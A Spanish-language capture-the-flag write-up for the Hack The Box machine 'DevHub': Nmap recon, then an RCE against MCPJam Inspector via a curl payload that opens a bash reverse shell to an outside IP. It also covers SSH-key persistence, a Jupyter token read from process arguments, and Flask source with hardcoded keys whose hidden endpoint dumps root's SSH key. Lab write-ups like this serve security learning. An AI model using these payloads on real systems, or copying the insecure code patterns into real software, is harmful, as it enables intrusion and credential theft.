Descripción
DevHub está clasificado como un objetivo de dificultad media de Hack The Box. Las siguientes vulnerabilidades clave y fallas arquitectónicas fueron identificadas sistemáticamente dentro del entorno objetivo:
- Vulnerabilidad de Ejecución Remota de Código (RCE) en la aplicación MCPJam Inspector (CVE-2026-23744)
- Exposición insegura de un Panel de Análisis (Jupyter Notebook), permitiendo autenticación mediante un token visible estáticamente
- Presencia de una aplicación Flask personalizada (OPSMCP) que exhibe exposición de secretos críticos mediante claves API codificadas
- Una falla grave de lógica y control de acceso dentro de OPSMCP, que permite el despliegue de una terminal
root
Reconocimiento
La fase inicial de reconocimiento se centró en establecer conectividad básica y realizar análisis de red para perfilar el sistema objetivo (10.129.1.237). Utilizamos la utilidad ping para confirmar la capacidad de respuesta del host y analizar el Tiempo de Vida (TTL).
$ ping -c 3 10.129.1.237
PING 10.129.1.237 (10.129.1.237) 56(84) bytes of data.
64 bytes from 10.129.1.237: icmp_seq=1 ttl=63 time=48.7 ms
64 bytes from 10.129.1.237: icmp_seq=2 ttl=63 time=47.8 ms
64 bytes from 10.129.1.237: icmp_seq=3 ttl=63 time=48.4 ms
--- 10.129.1.237 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.800/48.313/48.704/0.379 ms
El análisis TTL (63) confirma que el objetivo está ejecutando un sistema operativo tipo Unix, específicamente una distribución Linux. Posteriormente, se realizó un escaneo Nmap fundamental para mapear los servicios disponibles públicamente.
$ sudo nmap 10.129.1.237 -sS -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.1.237
Host is up (0.049s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.51 seconds
Este barrido inicial identificó dos puertos abiertos: TCP 22 (SSH) y TCP 80 (HTTP). Estos resultados requirieron una enumeración más exhaustiva para descubrir cualquier servicio más profundo y oculto que se esté ejecutando en localhost o puertos internos.
Enumeración
Para lograr un perfil de servicio exhaustivo, se ejecutó un escaneo detallado de Nmap, utilizando detección de versión de servicio (-sV) y escaneo de scripts por defecto (-sC) específicamente dirigido a los puertos identificados.
$ nmap 10.129.1.237 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.1.237
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:78:2e:79:0d:87:13:05:2f:53:8e:e7:3c:55:b6:4c (ECDSA)
|_ 256 dd:56:8e:bc:da:b8:38:3e:9a:cd:0b:74:ee:53:85:f8 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devhub.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.97 seconds
El escaneo detallado confirmó las versiones de los servicios. Para facilitar las pruebas internas y simplificar futuras interacciones, añadimos el dominio devhub.htb al archivo /etc/hosts del sistema local:
$ echo '10.129.1.237 devhub.htb' | sudo tee -a /etc/hosts
Al inspeccionar la página web predeterminada, los metadatos de la aplicación proporcionaron información crítica sobre los servicios internos:
La página reveló varios servicios internos, incluyendo un puerto activo 6274 (MCP Inspector) y un puerto localhost 8888 (Analytics Dashboard), ambos objetivos de alto valor para una investigación más profunda.
Después de explorar el servicio en el puerto 6274, se descubrió una instancia de MCPJam Inspector, ejecutando la versión v1.4.2.

Explotación
Esta versión específica está confirmada como vulnerable a una vulnerabilidad de Ejecución Remota de Código (RCE), rastreada como CVE-2026-23744. Esta vulnerabilidad permite a un atacante enviar una solicitud HTTP personalizada que despliega un servidor MCP, lo que resulta en RCE. Para facilitar la explotación, se configuró un oyente TCP inverso en el puerto 1234, y se envió la solicitud de explotación:
$ curl http://devhub.htb:6274/api/mcp/connect -k --header "Content-Type: application/json" --data '{"serverConfig":{"command":"bash","args":["-c", "bash -i >& /dev/tcp/10.10.14.65/1234 0>&1"],"env":{}},"serverId":"mytest"}'
La explotación exitosa proporcionó una terminal inverso, otorgando ejecución de comandos como el usuario mcp-dev. El RCE inicial nos otorgó un terminal como el usuario mcp-dev. Inmediatamente establecimos persistencia SSH:
$ ssh-keygen -t rsa -b 1024 -f id_rsa
Luego configuramos la clave pública en el archivo del usuario mcp-dev en authorized_keys:
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ mkdir -p /home/mcp-dev/.ssh
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCrxnVdiA8EQ+nLiA00Esz62DcJ4lYomueztWhD54CU6KD8BfbdCBKnKKedWXwHR3rHP2z9bp1WEgg31dnHhz47+uhRhJybsItRdkQT+A50P9EXWPdQ5JkzdyHiaff4uUtJvesfNkfVi6qHqavWqloiEH9BoHnqRO8W/xtlDilf9Q== user@htb' > /home/mcp-dev/.ssh/authorized_keys
Post-Explotación
Con acceso SSH estable, observamos los otros servicios activos usando ss -tulnp. Esto proporcionó una imagen completa de los procesos en ejecución y los puertos abiertos del objetivo:
mcp-dev@devhub:~$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:6274 0.0.0.0:* users:(("node-MainThread",pid=1284,fd=29))
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:8888 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:5000 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
El servicio en el puerto 8888 fue identificado como que ejecutaba una instancia de Jupyter Notebook (el Panel de Control de Análisis).
Al analizar los argumentos del proceso, extrajimos el token de autenticación estático:
mcp-dev@devhub:~$ ps -ef | grep 8888
analyst 1048 1 0 21:10 ? 00:00:06 /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False
Este token nos permitió acceder al panel de control y obtener una terminal secundaria como usuario analyst.
Luego dirigimos nuestra atención al puerto 5000, el servidor OPSMCP. La falla crítica aquí fue la arquitectura misma: datos sensibles estaban codificados de forma rígida dentro del código fuente de la aplicación. Para un contexto completo, la porción relevante de /opt/opsmcp/server.py muestra la implementación de la función de volcado administrativo:
#!/usr/bin/env python3
"""
OPSMCP - Operations MCP Server
Internal tool for system operations management
"""
from flask import Flask, jsonify, request
import os
app = Flask(__name__)
# API Key for authentication
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"
# Registered tools (visible)
VISIBLE_TOOLS = {
"ops.system_status": {
"description": "Get system status and health metrics",
"parameters": {}
},
"ops.list_services": {
"description": "List running services",
"parameters": {}
},
"ops.check_disk": {
"description": "Check disk usage",
"parameters": {}
},
"ops.view_logs": {
"description": "View recent system logs",
"parameters": {"service": "string"}
}
}
# Hidden tools (not in /tools/list but callable)
HIDDEN_TOOLS = {
"ops._admin_dump": {
"description": "Emergency credential dump - INTERNAL ONLY",
"parameters": {"target": "string", "confirm": "boolean"}
},
"ops._debug_mode": {
"description": "Enable debug mode",
"parameters": {}
}
}
ALL_TOOLS = {**VISIBLE_TOOLS, **HIDDEN_TOOLS}
# ... (Functions check_auth, index, health, list_tools, call_tool omitted for brevity in this block, but are fully present in the original notes)
@app.route('/tools/call', methods=['POST'])
def call_tool():
if not check_auth():
return jsonify({"error": "Unauthorized", "message": "Valid X-API-Key header required"}), 401
data = request.get_json() or {}
tool_name = data.get('name', '')
args = data.get('arguments', {})
if not tool_name:
return jsonify({"error": "Tool name required"}), 400
if tool_name not in ALL_TOOLS:
return jsonify({"error": f"Unknown tool: {tool_name}"}), 404
# Execute tool
# ... (tool execution logic for ops.system_status, ops.list_services, etc., omitted for brevity)
elif tool_name == "ops._admin_dump":
target = args.get('target', '')
confirm = args.get('confirm', False)
if not confirm:
return jsonify({
"error": "Confirmation required",
"usage": "Set confirm=true to proceed",
"warning": "This dumps sensitive credentials"
})
if target == "ssh_keys":
try:
with open('/root/.ssh/id_rsa', 'r') as f:
key_data = f.read()
return jsonify({
"target": "ssh_keys",
"root_private_key": key_data,
"note": "Emergency recovery key dump"
})
except Exception as e:
return jsonify({
"target": "ssh_keys",
"error": f"Could not read key: {str(e)}"
})
elif target == "passwords":
return jsonify({
"target": "passwords",
"dump": {
"root": "$6$rounds=656000$saltsalt$hashedpassword",
"analyst": "JupyterN0tebook!2026",
"mcp-dev": "Mcp!Insp3ct0r2026"
}
})
elif target == "tokens":
return jsonify({
"target": "tokens",
"api_tokens": {
"admin_token": "opsmcp_admin_7f3b9c2d1e4f5a6b",
"service_token": "opsmcp_svc_8c9d0e1f2a3b4c5d"
}
})
else:
return jsonify({
"error": "Invalid target",
"valid_targets": ["ssh_keys", "passwords", "tokens"]
})
return jsonify({"error": "Tool execution failed"}), 500
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
Este código confirma la grave vulnerabilidad: la función ops._admin_dump, cuando se confirma, permite la lectura directa de la clave privada raíz (/root/.ssh/id_rsa), transformando una simple llamada API en un potente mecanismo de exfiltración de datos. Explotamos este fallo lógico, utilizando el VALID_API_KEY codificado en duro para solicitar la clave privada raíz:
$ curl -X POST -H "Content-Type: application/json" -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" -d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}' http://127.0.0.1:5000/tools/call
{"note":"Emergency recovery key dump","root_private_key":"-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktd...QtUjrrnGZbP9kNySaX6q6/npK\nlFORwv9PYfxftV8AAAALcm9vdEBkZXZodWI=\n-----END OPENSSH PRIVATE KEY-----\n","target":"ssh_keys"}
Para finalizar la adquisición de credenciales, la clave fue extraída usando jq:
$ curl -s -X POST -H "Content-Type: application/json" -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" -d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}' http://127.0.0.1:5000/tools/call | jq -r '.root_private_key' > id_rsa_root
La exfiltración exitosa de la clave privada de root permitió un control de sistema inmediato y completo. Aseguramos los permisos de la clave e iniciamos una sesión SSH root:
$ chmod 600 id_rsa_root
$ ssh -i id_rsa_root root@devhub.htb
uid=0(root) gid=0(root) groups=0(root)
La escalada de privilegios exitosa al usuario root representa la culminación de la cadena de ataque, demostrando el impacto crítico de vulnerabilidades encadenadas.
Flags
El objetivo final era recuperar los flags ubicados en los directorios personales del usuario estándar y el usuario root.
root@devhub:~# cat /home/analyst/user.txt
<REDACTED>
root@devhub:~# cat /root/root.txt
<REDACTED>